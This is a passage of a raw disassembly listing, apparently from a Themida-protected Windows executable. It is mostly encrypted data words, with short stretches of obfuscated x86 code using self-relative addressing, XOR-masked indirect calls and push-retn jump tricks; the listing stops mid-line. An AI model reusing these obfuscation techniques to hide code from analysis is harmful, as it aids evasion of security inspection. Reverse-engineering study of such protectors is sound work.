34F0DC1Fh, 73643040h, 847h, 7A2E7121h, 9A0E45FBh dd 0B12D661Bh, 9448852Ah, 0A8246305h, 701446C2h, 4BFE7D31h dd 23C74E0Ah, 3EE574E8h, 665A5509h, 0DA781FA3h, 32FAF76Bh dd 34367E32h, 0EB7D2B8Fh, 7EFFF6E3h, 47401958h, 7F28AF2Bh dd 32F88E4Ah, 39504479h, 84E15D92h, 95946675h, 67F67D1Bh dd 16A5B7B3h, 0C584386Dh, 942583EDh, 0EE6A718Ch, 5D7C7D4Ah dd 59926C7Eh, 0B88AA6C9h, 0F09BB00Ah, 9E156573h, 6B1C9793h dd 62DC5212h, 3913C84Fh, 0EC33B152h, 2DD95507h, 0C47E2D53h dd 2037CC71h, 3FD62744h, 715FE3A6h, 20B737CCh, 0DE422E6Bh dd 1D0CDE02h, 3DFB8C3Fh, 0CA916BC7h, 0EE12E726h, 0CB7FB46Bh dd 0F95E934Ch, 0E004F0BCh, 7C970014h, 56000007h, 3EBD71B4h dd 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h, 76B55785h dd 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h, 6BDA789Ah dd 0D7971D7Ah, 7C4002A9h, 0C8A46DCCh, 0FC352B3h, 98C0459Bh dd 6105C449h, 3B304A26h, 6302F4h, 6D93682Fh, 0E623C893h dd 6A21363Ah, 67F634EEh, 0A9304A26h, 6DD5D405h, 89942634h dd 59DDC9ADh, 0A9EEAE74h, 12E7317Dh, 7EB56BEEh, 5E954BCAh dd 376C13B2h, 23A5F92h, 0D2C3D34Ah, 6EFh, 72E629C9h, 52063DE3h dd 69E51EC3h, 4C003DF2h, 60DC1BCDh, 38EC1E6Ah, 13B645F9h dd 2BDF56D2h, 6BD3CF0h, 8E725DD1h, 0DA79279Bh, 5AE2BF6Bh dd 875F04D7h, 0AFCCA8E3h, 3A14C74Eh, 0B9EE9524h, 7D6DE7A4h dd 4A8367F6h, 0D486F0D5h, 0C3B7949Ah, 1DC69567h, 57D516E8h dd 77350060h, 43A01633h, 924923B8h, 0D5F4A0DDh, 0FBD0F433h dd 0EC8826E5h, 9F849425h, 0E48555CEh, 0A85C7873h, 25B84401h dd 7B1AA994h, 8166337Eh, 0C2AAA339h, 24079128h, 63E48C61h dd 26000000h, 2ED496D7h, 23C3A68Bh, 4C21457Eh, 0A3BD1EB9h dd 0CC7246E8h, 7559BE6Dh, 0BE47E656h, 22493D19h, 6DCC8CA4h dd 31952C47h, 8CE65C4Fh, 92376DCCh, 0D9C9AD59h, 8C1EA467h dd 7AF66DCCh, 0F12ADF56h, 39CA23DCh, 113A336Ah, 0F5CF428Ch dd 0F2567320h, 0Eh, 5F984D0Ch, 129AAFB3h, 1D840h, 0BA158C00h dd 213BA037h, 7CF64C3Fh, 0A2476DCCh, 0C9B9BD69h, 0C168906Dh dd 67FC2020h, 40E76AC6h, 448D7728h, 1C16896h, 0E5278951h dd 0EB47789h, 0E6278951h, 9106D8Ah, 0F011F8D2h, 962DB934h dd 2503A7A4h, 0A0A2C458h, 0F98049F9h, 95B1AD29h, 0D60514E1h dd 7D270504h, 83DF23CEh, 0F83CF269h, 3AAABB5h, 54795D8Fh dd 1368D4EBh, 647C510Ah, 45F92ED5h, 73D80DB6h, 8DCAECCAh dd 7439AA7Ah, 4E000005h, 56E5599Ch, 34C377AEh, 61D8548Dh dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h dd 24591289h, 0D0BBC5A8h, 6BDA7A72h, 328F1592h, 0AF2A4479h dd 0FDA9BEFDh, 10EAF108h, 0FC0C0C19h, 7013AA67h, 0B8A30633h dd 0B27AAEBCh, 1E401A8Eh, 7FF94940h, 411D9423h, 237FE85Ah dd 833FEA94h, 6394237Fh, 66251707h, 94237FDCh, 43183C38h dd 2D9ACF78h, 4A077B06h, 0F4697A2Ah, 0CE000004h, 0D665D91Ch dd 0B443F72Eh, 0E158D40Dh, 0BE3DF12Eh, 190FCB0Ah, 8ECD7FEDh dd 0A9EA9B1Ah, 0C500A635h, 0A4D99209h, 503B4528h, 6BDA7BF2h dd 320F9512h, 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh dd 32D1F2A7h, 0A3174CF3h, 0F4E02B9h, 35EAFF63h, 336B29DCh dd 2ABCh, 4D70E00h, 0BA4B2061h, 0FBAEC01Bh, 67FC2B76h dd 0B9E09490h, 9423AD0Dh, 9A3CD3F0h, 192E6D1Fh, 7B648B66h dd 536B39h, 0D7E10000h, 6E225F04h, 7188D5F2h, 906E906Ah dd 0CC7C2999h, 2548CD6Dh, 6DE3AE0h, 968D6A86h, 67FCA0ADh dd 4813ED49h, 36F569A0h, 943C6789h, 0CFBAE59Eh, 943C6773h dd 0C45FC93h, 1C381C18h, 0A17319A0h, 63BFB3ECh, 2299937Fh dd 0AA173469h, 41Fh, 15BD5C22h, 4F3A862Ch, 6DCC7BF3h, 56321713h dd 95CE73BDh, 0A5BB95B1h, 0CCA15CE6h, 6C21B86Dh, 263A0F33h dd 0FCDBC663h, 30E44067h, 0D969203Eh, 76943CAFh, 7FDB93D2h dd 53AF16Ah, 37025E11h, 9F845992h, 2FAC4B00h, 0D5CD6E1Dh dd 3D399E0Ch, 1C51FA81h, 9E431668h, 98B5B165h, 0DF92AE45h dd 1A8C29Eh, 941CD408h, 259D8CDEh, 0C1801CD4h, 3958165h dd 9750D170h, 7A99E662h, 0AE61FC6h, 0A45039F0h, 3A368A2Ch dd 63984F46h, 0F78E25AFh, 401AC158h, 3C9B2049h, 0CE8AE680h dd 0AB1712ECh, 4B8C7CFBh, 8A41FACFh, 862AA155h, 604B3547h dd 8C7CFBE2h, 55512602h, 4BEA891Ah, 11EB5F94h, 0BB67A64Ah dd 0FB78CAC1h, 0C09C8C7Ch, 9F36C7A4h, 95B1EEA1h, 9A3BD0BBh dd 32A9864Ch, 0CE523E7Fh, 0DB9209F9h, 0B372EEA2h, 462AD60Dh dd 0A85F762Ah, 5E157F73h, 6A7188C7h, 7BB6E90h, 18B66C1Ah dd 0E84C3871h, 67223C38h, 0B66C1ADBh, 0F60ADF3Bh, 5C7BC633h dd 8C4A0BCh, 0F1A5DA91h, 40FC31DAh, 0F507D4E3h, 6C541536h dd 8175F1B2h, 4C4C6CDAh, 5DF48FA2h, 0EAFA5598h, 0F09BC563h dd 0A24C5452h, 2FA1B6B2h, 3Ah, 0A6E78A51h, 0CB6176FAh dd 0E283BD5Ch, 0ABC5A1h, 67FC7CD3h, 28253733h, 0B6B65EA1h dd 0D5D1A6B0h, 23473886h, 9A8DB94h, 7BFB21ECh, 21CA9139h dd 1F3C38ECh, 0E4A9h, 0A9D72300h, 53427B32h, 6DCC7CEFh dd 9EDB9007h, 75526EF2h, 24D005BEh, 9FDC8F4Ah, 0E15A6FF3h dd 0EDDEF02Fh, 0ADB9D49Eh, 0E4A2B76Ah, 1D093EE5h, 1C90C57Eh dd 0CC9B5E6Dh, 0EC2AE16Dh, 69209152h, 6DCCD5D9h, 0A3FCE13Dh dd 219DB978h, 0C8BCF19Ah, 0C064DCFBh, 758B6581h, 1C083DE6h dd 83484318h, 4367FCE4h, 70E73E7h, 0AD599639h, 0D8D3ADC9h dd 9E0A6CE2h, 85542602h, 0B128A4E3h, 261BC0FFh, 0EE403667h dd 215AD36h, 3FEF0000h, 13B940FCh, 34D960DCh, 13B83FFBh dd 31D362D6h, 345036F2h, 67E322C6h, 40FC3DF0h, 5EDA15B9h dd 3FFB30D7h, 9B9704Ch, 0ED6BDA76h, 7E3224F0h, 2AB18B3Fh dd 0DC584C81h, 7CBB0702h, 0FF5B6DCCh, 85BA71EAh, 2C96956Bh dd 0C86DCC7Ch, 0F5C78F6Ch, 7D22DAF8h, 0ACC1729Fh, 1EBD5C20h dd 8D4C324Ch, 8DE99DDAh, 0CC7C249Eh, 8764C06Dh, 0FC7CB79Ch dd 0F9D34F67h, 0F19E66D4h, 30A75BBDh, 79254277h, 23E89432h dd 42F97794h, 0A4775489h, 0A225E80Dh, 0DF05397Bh, 47000000h dd 83DB96D7h, 57251184h, 0E712B982h, 0CC039E24h, 0BDFEAF6Dh dd 0B9B56DC9h, 35EE4A7h, 0BAB66DCCh, 39EBEA96h, 0B359E0FAh dd 0CFAC887Ch, 7FB188CFh, 0E18A6DCCh, 0B599D2ACh, 0A687A629h dd 271EF4D9h, 55FE0B39h, 5DDCBE78h, 21B86CABh, 390E326Dh dd 0E094C982h, 0ECE10413h, 4A19363Eh, 0D36F169Ch, 336DCCBAh dd 4A411B37h, 67FCC981h, 0D617E945h, 9C1AF941h, 2FA7C423h dd 0C69843D2h, 0AEF16C3h, 9AB4B09Eh, 7A2E6D1Fh, 5D0A49FBh dd 4035D1E2h, 0E4EDF6AEh, 0BE000000h, 8615C90Ch, 0A433A7DEh dd 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh, 9EDD8FFDh, 0B9FAAB2Ah dd 95D07605h, 0B4E9A219h, 802B15F8h, 6BDA77C2h, 32FFC522h dd 0B18B3F7Eh, 5B47862Ah, 4DF106CEh, 0FAD6DA92h, 78AD56DDh dd 793226C4h, 92395044h, 6DC5F254h, 7D597D07h, 865564C1h dd 0E237B574h, 53CF67F6h, 0D30AC279h, 6176AB54h, 487D26A5h dd 792FAA94h, 0F8D24E42h, 26E2B111h, 4D95594h, 0A75B9037h dd 0C78B0300h, 9F0025h, 7C3F6A21h, 7EE28EC3h, 0C5F92B97h dd 734FCBC4h, 528740B7h, 0EE9FCC9Eh, 31566572h, 0C166ED0Ah dd 0D8279B8Eh, 6DBFC4C5h, 0C5D804BEh, 6084E0C4h, 95946A84h dd 0C4C5D82Dh, 8E906DC9h, 4FD66D04h, 70E76398h, 58E82B7h dd 0Fh, 5B04D777h, 0E1F67A26h, 3CF26987h, 3260EC01h, 52493D80h dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h dd 39504481h, 30A75B94h, 0CF554178h, 61BD68h, 243C8900h dd 5EF968h, 24148900h, 2A1A68h, 240C8900h, 0BEBA5257h dd 891E2406h, 95BA5AD7h, 29243A08h, 8B545FFAh, 0C483240Ch dd 4EC8104h, 89000000h, 0D6892434h, 5E087189h, 592434FFh dd 4C481h, 148B0000h, 0E1895124h, 4C181h, 0C1810000h, 4 dd 5C240C87h, 0FA738BE9h db 0FFh, 4Ch ; --------------------------------------------------------------------------- loc_5AC14E: ; CODE XREF: Themida_:loc_5AB5EDj mov eax, 6160C7Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0EEh ; --------------------------------------------------------------------------- jno short loc_5AC1B6 xor al, 80h retn ; --------------------------------------------------------------------------- mov dh, [esi+73h] retf 543Ah ; --------------------------------------------------------------------------- db 36h dd 0DE445D84h, 4A6636C5h, 941F2C59h, 1F6A9743h, 9A278E6Ah dd 0EB2362ACh, 24h, 8 dup(0) dd 0BDE900h db 2 dup(0) word_5AC1A6 dw 0B589h ; DATA XREF: Themida_:0054DC10o dd 6160D12h, 2209858Bh, 858B0610h db 0A1h, 1Fh ; --------------------------------------------------------------------------- loc_5AC1B6: ; CODE XREF: Themida_:005AC158j adc [esi], al lea esi, [ebp+6160D5Ch] lea eax, [ebp+61354E6h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 6160D62h cmp dword ptr [ebp+6102209h], 1 jnz loc_5AC20D push dword ptr [ebp+6160D12h] mov eax, [ebp+6101FA1h] xor eax, 34812736h call eax cmp al, 1 jnz loc_5AC206 mov eax, 1 jmp loc_5AC24D ; --------------------------------------------------------------------------- loc_5AC206: ; CODE XREF: Themida_:005AC1F6j xor eax, eax jmp loc_5AC24D ; --------------------------------------------------------------------------- loc_5AC20D: ; CODE XREF: Themida_:005AC1DBj push 1Ch lea esi, [ebp+6160D16h] push esi push dword ptr [ebp+6160D12h] mov eax, [ebp+6101FA1h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+6160D16h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5AC248 xor eax, eax jmp loc_5AC24D ; --------------------------------------------------------------------------- loc_5AC248: ; CODE XREF: Themida_:005AC23Bj mov eax, 1 loc_5AC24D: ; CODE XREF: Themida_:005AC201j ; Themida_:005AC208j ... cmp dword ptr [ebp+6102209h], 1 jnz loc_5AC261 pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5AC263 ; --------------------------------------------------------------------------- loc_5AC261: ; CODE XREF: Themida_:005AC254j pop ebp iret ; --------------------------------------------------------------------------- loc_5AC263: ; CODE XREF: Themida_:005AC25Cj lea eax, [ebp+6160D3Bh] mov [ebp+61027A5h], eax lea ecx, [ebp+6160EDBh] mov [ebp+6102F89h], ebx mov [ebp+61009F5h], ecx mov bl, al push ebx movzx edi, cx pop esi mov dword ptr [ebp+6102319h], 7344h mov dword ptr [ebp+61022C1h], 0 push 0 push edx call sub_5AC2A7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC2A7 proc near ; CODE XREF: Themida_:005AC29Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5AC2A7 endp ; --------------------------------------------------------------------------- db 16h dd 0EE97420h, 0C4000000h, 498C27D1h, 0EEA11E32h, 7663CC5h dd 4ADB8036h, 8A1B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0BB0665C3h, 7E8F4B88h dd 66C03C5Fh, 25EACE81h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82235DC3h dd 62B61EC1h, 0DE962h, 83CE0000h, 0FCFF4C8Eh, 0A95BF03Ah dd 6651B2CCh, 6AFC71B8h, 0C995FF00h, 8B061031h, 915FEBC0h dd 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h, 2FBF9D53h dd 68286FF9h, 0EE888882h, 74C66E2Eh, 67F79287h, 883301ABh dd 8BE543D3h, 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h dd 9624793h, 8029B6C7h, 0D85C824h, 8E8F5BAh, 77000000h dd 0D541BA71h, 8B081EFBh, 1007D18Dh, 8B525F06h, 10014595h dd 0C7815A06h, 5A4Ch, 0A880Fh, 89600000h, 102F09B5h, 61C78B06h dd 166E68h, 10E900h, 0FBB00000h, 562DD5ABh, 64756FDCh dd 66663D47h, 335E4919h, 100FE58Dh, 0F5078B06h, 0D06FF081h dd 958B49E7h, 6100755h, 9DBBC081h, 8B661B01h, 0A3C081DEh dd 23695129h, 100FD995h, 8B078906h, 102F059Dh, 0D6EF8106h dd 660A7D9Bh, 0C781DF8Bh, 0A7D9BD2h, 0F4ED98Bh, 0FFFFBC85h dd 0B1958BFFh, 8D06102Fh, 1610C58Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 53FFC980h dd 0E9D88B5Bh, 13h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h dd 89DEB088h, 1009F58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 83C08D18h, 0D1858B18h dd 906101Dh, 1020858Dh, 1985C706h, 0D4061023h, 6A00006Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0C0DFC352h, 0C185C725h, 61022h, 66000000h dd 5C79C781h, 0EA5B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0C9F42FC3h, 0F2D875BBh dd 95FF3BCDh, 6102DB9h, 66C68B60h, 86E5C081h, 0FF006A61h dd 1031C995h ; --------------------------------------------------------------------------- loc_5AC530: ; DATA XREF: Themida_:0054D4F0o push es mov eax, eax jmp short loc_5AC54F ; --------------------------------------------------------------------------- db 0F8h, 0D1h, 0F3h dd 0CDA63D07h, 5250A9A7h, 91961333h, 0B6CF8418h, 92D9C421h db 0E9h, 0CEh, 32h ; --------------------------------------------------------------------------- loc_5AC54F: ; CODE XREF: Themida_:005AC533j jmp loc_5AC56E ; --------------------------------------------------------------------------- dd 0F6E4FF0h, 2430000h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AC56E: ; CODE XREF: Themida_:loc_5AC54Fj jmp loc_5AD157 ; --------------------------------------------------------------------------- push 61612AAh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 61613BFh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616154Dh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 61615FCh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 61616A6h jmp loc_55FF58 ; --------------------------------------------------------------------------- push 6161898h jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616193Eh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 6161A5Ch jmp loc_55FF58 ; --------------------------------------------------------------------------- push 6161B64h jmp loc_55FF58 ; --------------------------------------------------------------------------- db 0FAh, 0E5h, 33h dd 7F398F5Eh, 38EAE3D2h, 90429A6Bh, 26E0F2C3h, 783B0B79h dd 0AFBA862h, 75481DD7h, 13E2AF61h, 5B5906C0h, 55DC7B08h dd 0DF791DDEh, 46AE8784h, 18B7695Dh, 2C7E276Ah, 5C1D4D0Eh dd 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h, 3245B241h dd 2311B82Fh, 53A01F73h, 11B82F40h, 0A1B1408Fh, 5B90CAD8h dd 0E42062Ah, 0C79B564Dh, 0BE941961h, 4550h, 0C516F100h dd 37435226h, 2BC0EE3h, 1A481159h, 8FDC8B62h, 17C84500h dd 0FB08A955h, 0D8457270h, 7A19051Dh, 0B844062Dh, 5F1AC911h dd 93B91D83h, 37C433BEh, 11B83818h, 6C64513Dh, 3E5F0BB2h dd 0E29Eh, 75CE200h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh dd 0C39D6A37h, 0B517C849h, 44B7ECA6h, 16EBA5B5h, 0D7830AC4h dd 621C2F96h, 34E6DE8Bh, 13C0E18Dh, 9F88CB2h, 2AB657Ch dd 0CA037201h, 42705718h, 0D51DD84Eh, 0C89C4E88h, 5428169Bh dd 0E990125Dh, 77617CAh, 0A96377D2h, 0A9287C2Ah, 788AAD5Ah dd 0DBCB0BA5h, 9E4EE687h, 0F6B0A24Fh, 1C8F0C07h, 6B0BCB58h dd 0D548E794h, 610D0BA5h, 42986540h, 35443288h, 6968E216h dd 98FD3h, 0EB9DB200h, 571147B6h, 0F0A2BB0Ah, 48FA52A3h dd 0FEB8AA1Bh, 9013E351h, 0E2D3803Ah, 8D6035EFh, 0EBDA8739h dd 93113EF8h, 56A4B340h, 17B11DDEh, 0A9065C63h, 644F015Ch dd 17C844D5h, 93C09480h, 0AF683122h, 712B1E6Bh, 39A13016h dd 0C8F9ABCEh, 0A6FAAA17h, 48FDA5FAh, 0DC8B621Ah, 0C845008Fh dd 0F897E417h, 5D17C844h, 3122B3B1h, 81822B77h, 0D845F4F6h dd 0EC93831Dh, 41FB4E9Bh, 4484A720h, 944B11B8h, 0B7A309D9h dd 0C392BE93h, 0D6000000h, 3B5EA95Ah, 1A17C845h, 8FC4416Ah dd 6B5FAED5h, 99B342B1h, 24D783D8h, 0C195F1F9h, 484B14C2h dd 0C87725FBh, 46005317h, 0FDB7AC19h, 89F685D6h, 17C86DE6h dd 0D3DE7F6Fh, 59A8176Fh, 7E2C5305h, 5799E6DDh, 0C01DD87Ch dd 341A7FD4h, 83166150h, 0D217CB15h, 0F483F07Fh, 610BA5AAh dd 0AB2F42B5h, 9FB70BA5h, 0CB9787EDh, 87F483F4h, 0BA5AAE8h dd 0E5E0816Dh, 97663BF5h, 2F338943h, 73E2165Fh, 87A58F0h dd 0AA9D0000h, 65AABF8h, 0AFA6174Ch, 0FF55A8FDh, 0B5A5184Dh dd 0EED6A6FBh, 287D372Bh, 95CA84D5h, 277C2E28h, 96CB85D6h dd 1938C316h, 3C1DDE58h, 65CF6A2h, 0B5A6174Ch, 450025Ah dd 75C034Fh, 0E4F7464Dh, 0CD89301Bh, 0F6AA1142h, 531A48A9h dd 93CB0CC0h, 5C71A6E1h, 0D7A491Dh, 1DD92EA3h, 0C597824h dd 75481DD7h, 0AA669D66h, 0F5F511FFh, 430FC900h, 0D17DEF3Ch dd 207398FEh, 0C3CA7CD1h, 944D5617h, 6B38F2E1h, 15927B98h dd 697FCD6Bh, 0BF84462Eh, 6E2FE9DFh, 0FAE94497h, 226D1440h dd 8A727A0Ch, 0D68F2AB9h, 80322A85h, 54015501h, 49B87261h dd 5E184BBAh, 3140B35Fh, 248A727Ah, 4B9C3778h, 7A404F9Ch dd 69158A72h, 79A9BF48h, 0DAC98A72h, 0BB75661Fh, 0A73F4744h dd 1581B180h, 0B7AC194Ch, 0A7506FDh, 8A72A267h, 0CA43FEEEh dd 0F28413B9h, 0F1547F20h, 3DCA394Dh, 90832F63h, 0F8CB9884h dd 0A5BD181Bh, 0FCA5D909h, 0BE3549F5h, 1E31BE2Dh, 37846247h dd 93A12647h, 0CC8A7268h, 73B6D120h, 2BBDCCD9h, 0EC3B5819h dd 4461F07Bh, 8F47E52h, 43CE6067h, 4C037E52h, 1525E291h dd 2B41001h, 9574CF7Bh, 0B23071C9h, 51FAA72Ch, 45C1Dh dd 0AB5A6500h, 28D6FDB7h, 44F18087h, 54F717C8h, 8C17C855h dd 17C838D1h, 0C8314CDFh, 0ACD07E17h, 4F84AA55h, 3ACB1DD8h dd 0C17BCF22h, 144014C2h, 3F8A496h, 0DB71F0DCh, 6ECh, 5906B80Fh dd 0E5BA746Ch, 560BBD18h, 0E6BB6D67h, 5C09C317h, 459518E8h dd 0F2E7D68Bh, 449A6B38h, 0DBF0BD92h, 0E1707421h, 0DE5A0396h dd 4F4521Dh, 464D075Ch, 41F87FE3h, 47D92649h, 25D22175h dd 1DDEADFBh, 8D13402Ch, 1468D63Dh, 0AB9F4E9Dh, 1957B0F1h dd 8D17C2B0h, 8B32E4E0h, 0C6B6BEDFh, 0A463338Eh, 41EDBB03h dd 8B39C63Dh, 0B462513Bh, 287C2E27h, 621A48A9h, 398DDC8Bh dd 115A0887h, 4156D1B6h, 0BD34E05Ch, 0E1AEC12Eh, 56A75020h dd 97434A04h, 2CDEF6CBh, 4BB8F9A5h, 9EF3AD9Eh, 6442FC4Fh dd 9D9B28A0h, 3D37CDCCh, 60000006h, 0DE0B567h, 615401BBh dd 18E5BA6Ch, 68550ABCh, 99EBB872h, 3AF4E6A9h, 87419865h dd 41F3EBDAh, 0F8B2A114h, 4DBA49ABh, 1DDE5A2Ah, 5ADDCD2Bh dd 57D10E3Dh, 446DE3C9h, 6FD81ADh, 0D88A0F79h, 0C5CCB81Dh dd 5AA96378h, 365F7F3Dh, 0B6646B25h, 0FCDBE3DBh, 180BC0B2h dd 0FFA0F4A2h, 4BE655D4h, 4DA4D886h, 0C8DBC8A2h, 420FFF17h dd 0A898DE75h, 996F020Bh, 0FF630BA8h, 8C5B3887h, 0D41219BAh dd 9DEAD982h, 11BE5DE3h, 1C695844h, 444F10C2h, 923C5BF7h dd 3BFF9305h, 0EEDD0592h, 0CEA0B634h, 0E5E4E829h, 5934Fh dd 0EFA1B600h, 43FD53A2h, 0F4A69F0Eh, 44F64E9Fh, 0F2AC9E0Fh dd 24E7CF9Dh, 0CE1F742Eh, 2194C17Bh, 0D7267B2Dh, 1795CA84h dd 5B1837C4h, 0A33D1DDEh, 621A48F7h, 563AE08Bh, 0ED7C1DDEh dd 0FA7A23DDh, 2536830Ah, 0DFDE98CAh, 5F38D624h, 0E6BA7C2Ah dd 3F13C519h, 0CBAE8F12h, 0F37F8406h, 80FF5358h, 99682231h dd 723BF5ECh, 0D791C233h, 0ED4899E8h, 0EE9C23DDh, 7CCE1BA2h dd 430FBBC2h, 372C791Ah, 6DEC567Dh, 6072FFB4h, 0CB0005A6h dd 0A651A211h, 11B19093h, 0DC89D2C2h, 9A6B60C6h, 1AB51BEh dd 48990000h, 0E08B621Ah, 1DD8469Ah, 12C4004Dh, 0D1026F3Eh dd 0EE3D5617h, 445FF27Dh, 6F611B8h, 0D0EFA9B9h, 0E98E7922h dd 0DE11B843h, 77DBA63Fh, 0A24FA00Fh, 20CEF5AFh, 4532887Fh dd 26B517C8h, 0A842B6D9h, 0A3EF9F0Bh, 5470FDEEh, 42FC4DA2h dd 5CB7AC19h, 832F4E00h, 42B0BF2Ch, 0F9A50BA8h, 84D726ADh dd 0AA1B5DBBh, 3F137383h, 0A552A112h, 0BA7DB92h, 6A1C32C3h dd 0C2EBB763h, 847B032Fh, 0B7F1E1F7h, 88F38611h, 597C6E9h dd 0ADD4806Ch, 97C6CB62h, 926D0405h, 80E6A251h, 60832C98h dd 125D0EC5h, 597897Fh, 5D8526D6h, 0CAB46FF7h, 53E6h, 0EFE69300h dd 1247963Dh, 0D98D3958h, 1A48D298h, 0E2E08B62h, 951DD845h dd 0F69DEAE9h, 0E811B844h, 4A9938F2h, 0B8449ABDh, 0F6CBBB11h dd 0D48F2EE0h, 864BD632h, 4C430EB4h, 0B2218591h, 9DAD3CF7h dd 6D2EDCE3h, 9354EF75h, 98DEBEh, 0EE7B0000h, 258526D8h dd 464D075Ch, 0AA29E3F7h, 2F4E085Bh, 864091E0h, 0B3125B07h dd 4AB9E6A0h, 53490A4Dh, 5A039FEBh, 0C849936Dh, 3CF6E517h dd 0A8DC8267h, 0F509AE59h, 5C481DDAh, 67C21865h, 0B6EBB771h dd 63591347h, 0DC068087h, 0A130C8CBh, 0C4000003h, 398CD98Bh dd 0C5386D27h, 44B1DE90h, 0BC095608h, 0C5B7ECA6h, 6E283AFDh dd 0C37DD421h, 75271F8Eh, 0C47ECD20h, 31BE0D8Fh, 1DDE5D1Eh dd 5AF19937h, 0D6FDB7ABh, 6041DF19h, 4115D1F1h, 0FBB5A520h dd 4A0457A6h, 75C4D15h, 0E4F7464Dh, 0F786752Ah, 7CD82DDFh dd 5617C3CAh, 823D5A14h, 20A2DB71h, 68BDDC27h, 0EC9817C8h dd 7D10F7B8h, 6317C8E9h, 17C7E8D0h, 0C13054FAh, 47681A34h dd 0FA092FBCh, 6E1E1DDDh, 2D03004Fh, 0CB14AA3Fh, 54FAF7B8h dd 0D436C130h, 0E317C184h, 0E5CFB533h, 78FBE21Ah, 2FBE0h dd 77291E00h, 0CB85DB2Ah, 7C2E2796h, 0CC7ED627h, 7A342697h dd 0AC6F5725h, 56A7FCB6h, 0A91C4903h, 5F4E03B5h, 0FFDDB26Ch dd 5E70FF6Ch, 8BE51DDEh, 0EB3D5A9Fh, 7E583401h, 0C91AEBB4h dd 3221700Fh, 98C62B78h, 58620DE4h, 0F1DD8FCh, 94DF905Fh dd 11B8D105h, 0D8FBA450h, 0B8D0E88Bh, 0BD78E711h, 93277FE5h dd 2A6EBEh, 48B20000h, 0E08B621Ah, 1DD845E2h, 928D324h dd 4C11B845h, 8975FFA0h, 4496BD0Ah, 8A3911B8h, 0B78D13EFh dd 0D87CBE93h, 0C4000000h, 0B0AC075Ch, 0CFF30EEFh, 376BE0FBh dd 56AFDB98h, 33CBC3B8h, 3D8C335Fh, 0DD2C530Dh, 408D34EEh dd 1162510Bh, 0C89BD366h, 0C9928217h, 0A0D52B9Ch, 0B0A317C8h dd 75CA9F6h, 7FE3464Dh, 14BB7566h, 38C33A66h, 1DD8AA42h dd 9C31865h, 0DB88DC8Ah, 70CB2BE8h, 0E4374854h, 740836BBh dd 0A8D7F27Dh, 6EFD17CBh, 0A6386E01h, 7637E70Bh, 529F0EFEh dd 0AA194600h, 0FAC1EDEDh, 1F4054ECh, 0FCFAB4A6h, 0E215FC10h dd 0DDA73D3Ch, 1, 6D4015C7h, 1F4A15Bh, 78451ACCh, 8F5AA5Ch dd 0F94B18D2h, 9A548609h, 27E1F8C5h, 0A1538B7Ah, 18D201F4h dd 6D1A694Bh, 1DDE5ECAh, 5C3DED8Bh, 0A6174C06h, 0B0035AB5h dd 10AFE395h, 8AD690C1h, 44A9C833h, 0C0AC17C8h, 5A93BF94h dd 80FFB1ABh, 3A2889D2h, 2006B42h, 41DD846h, 45690873h dd 0EC11B8h, 0AA29D55Fh, 0B845365Dh, 8F2A9911h, 93B82DB3h dd 0E11CBEh, 30BD0000h, 0AF5B6214h, 18590B42h, 4D075C52h dd 29E3F746h, 3AE5BDDAh, 0A4DF99B0h, 5A03356Bh, 0F314EE39h dd 6F6417C8h, 0BE0DE0B5h, 361C7D04h, 0F3105F4Eh, 0EEE4FC29h dd 0A6E18D34h, 0EEAF2817h, 0D90B9F19h, 637B081Dh, 4E02B410h dd 0E585145Fh, 24D011B8h, 21D02370h, 0BB367731h, 43FD4E97h dd 0EBC28E3Ch, 0CB9A0A80h, 22917D17h, 301326D1h, 0B1420BA6h dd 0F0B1E59Fh, 19746613h, 0D420EC8h, 0FAF0AAA0h, 0E215DA0Ch dd 0D5BB5150h, 0F8000000h, 85782DDFh, 0F9CC9953h, 905D32E4h dd 0E0CD8234h, 116330EAh, 0B26C5E21h, 0FFB910DDh, 0B96B6352h dd 10CA19ECh, 65126143h, 1DDE5FD2h, 5A35E583h, 453B5EA9h dd 0B1AB17C8h, 6E6621FFh, 0D098E73Ch, 0BE47683Ch, 307DD28Ch dd 9F65521Bh, 522DE27Ah, 5C0951FEh, 5FB2AC07h, 0DEE5B16Bh dd 105D6430h, 4D5401BBh, 8AE5FCE1h, 731F9E58h, 0EF7C731Fh dd 1DDE5645h, 56A32ADAh, 0A7164B05h, 8DAC57B4h, 0C811B233h dd 